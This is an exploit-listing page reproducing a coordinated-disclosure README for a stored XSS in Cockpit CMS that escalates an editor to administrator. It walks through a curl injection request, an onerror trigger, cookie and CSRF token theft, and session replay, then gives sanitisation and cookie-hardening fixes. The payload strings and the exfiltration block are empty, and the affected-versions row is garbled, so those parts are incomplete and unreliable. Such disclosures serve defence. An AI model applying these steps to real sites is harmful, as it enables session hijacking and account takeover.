Sploitus

Exploit for CVE-2026-39275

githubexploit Β· 2026-06-24

Exploit Code

README115 lines
## https://sploitus.com/exploit?id=64CADAE3-594B-53A9-84E3-DCE3BA6AC796
# CVE-2026-39275 - Stored XSS Leading to Account Takeover in Cockpit CMS

[![CVE](https://img.shields.io/badge/CVE-2026--39275-red)](https://vulners.com/cve/CVE-2026-39275)
[![CWE-79](https://img.shields.io/badge/CWE-79-orange)](https://cwe.mitre.org/data/definitions/79.html)
[![Severity](https://img.shields.io/badge/Severity-High-red)](#)
[![CVSS](https://img.shields.io/badge/CVSS%203.1-8.4-red)](#)

> Note: Responsibly disclosed to and patched by the Cockpit CMS maintainers prior to publication.

| | |
|---|---|
| **CVE ID** | CVE-2026-39275 |
| **Vulnerability** | Stored Cross-Site Scripting (XSS) β†’ Account Takeover |
| **CWE** | CWE-79 |
| **Affected** | Cockpit CMS ``. This lets the injected script read both tokens and replay them externally, defeating CSRF protection and enabling full session hijacking and account takeover.

---

## Root Cause

Field `render()` outputs are passed to Vue's `v-html` directive without output encoding.

| File | Line(s) | Role |
|------|---------|------|
| `modules/App/assets/vue-components/fields/field-tags.js` | 25 - 34 | Tags renderer - no encoding |
| `modules/App/assets/vue-components/fields/field-select.js` | 26 | Select renderer - no encoding |
| `modules/Content/views/collection/items.php` | 149 | `v-html` sink |

---

## Proof of Concept

### 1. Inject the payload (low-privilege write API key)

```bash
curl -X POST "http://localhost:8080/api/content/item/posts" \
  -H "Content-Type: application/json" \
  -H "api-key: USR-" \
  -d '{
    "data": {
      "title": "Innocent Looking Post",
      "tags": [
        "",
        ""
      ],
      "body": "Just a regular post.",
      "_state": 1
    }
  }'
```

### 2. Trigger execution

An admin or editor navigates to `/content/collection/items/posts`. The tags renderer returns the stored string, `v-html` parses it into a real `` element, the bogus `src` fails, and the `onerror` handler fires.

### 3. Token theft

Both tokens are now readable - the session cookie via `document.cookie` and the CSRF JWT via `App.csrf` / `document.documentElement.getAttribute('data-csrf')`. A weaponized payload exfiltrates both:

```html

```


### 4. Session replay

The attacker replays the stolen cookie and CSRF token, gaining full authenticated admin access - and can then create admin accounts, change credentials, or modify content.

---

## Impact

A low-privilege editor (or any content write API key holder) escalates to full administrator. The payload is stored and fires for every admin/editor who views the list, making it a persistent, multi-victim compromise.

---

## Remediation

**Primary fix** - sanitize render output before it reaches `v-html` using the existing `App.utils.stripTags()` helper.

`field-tags.js`:
```js
value = App.utils.stripTags(value); // sanitize before v-html
```

`field-select.js`:
```js
return App.utils.stripTags(value); // sanitize before v-html
```

**Defense in depth** - harden the session cookie:
```php
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 1);   // over HTTPS
ini_set('session.cookie_samesite', 'Strict');
```

`HttpOnly` alone is insufficient - the XSS can still act within the victim's authenticated browser context - so output encoding is the essential fix.

---

## Disclosure Timeline

| Date | Event |
|------|-------|
| 2026-03-29 | Vulnerability reported to Cockpit CMS maintainers |
| 2026-03-29 | Fix released by maintainers |
| 2026-04-04 | CVE requested |
| 2026-06-23 | CVE-2026-39275 assigned |
| `` | Public disclosure |

---

This material is published for educational and defensive purposes following coordinated disclosure. Use only against systems you own or are explicitly authorized to test.